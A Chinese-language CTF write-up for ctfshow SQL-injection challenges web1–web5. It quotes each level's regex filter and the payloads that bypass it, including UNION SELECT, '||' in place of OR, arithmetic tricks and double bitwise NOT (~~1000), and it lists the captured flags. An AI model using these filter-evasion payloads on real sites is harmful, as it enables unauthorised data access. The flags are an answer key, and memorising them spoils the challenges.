目录
web1
web2
web3
web4
web5
web1
题目注释相当于已经审计了代码
存在一个对id的检测,并且告诉我们flag在id=100
这里讲三个方法
(1)payload:?id=10*100
(2)使用or来绕过
payload:?id=-1 or id=1000
(3)联合注入查询
payload:?id=1 union select * from article --+
ctfshow{f9909e52-140d-4ed5-a1f3-6643378b6198}
web2
只是增加了下面这段代码,preg_match函数进行正则匹配,限制了我们使用 or 和 +
if(preg_match("/or|\+/i",$id)){
die("id error");
}
使用payload:?id=10*100
成功获取flag
ctfshow{d15e0676-50aa-4bff-a09f-484e92c7b5bc}
web3
这次匹配过滤掉了更多的东西
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
加减乘都被过滤了,但是没有过滤除
构造payload:?id=1/0.001
虽然or被过滤了,但是我们可以使用符号来表示或运算,即||
构造payload:?id=0 || id=1000
这里也没有过滤~,我们可以进行两次取反
构造payload:?id=~~1000
ctfshow{6ff66b11-bf8e-482b-b870-c52d1be27ccc}
web4
这次把除也过滤掉了,以及过滤掉了其他的一些符号
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
但是对我们给的另外两个payload并不影响
/?id=0 || id=1000
?id=~~1000
ctfshow{798eb84c-cd75-430f-b475-1574ff3756f5}
web5
这次过滤的更多...但是它还是舍不得过滤~~~
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
继续使用payload:?id=~~1000
拿到flag
ctfshow{76afbf63-7e57-4992-b87c-b8bbc97f32d0}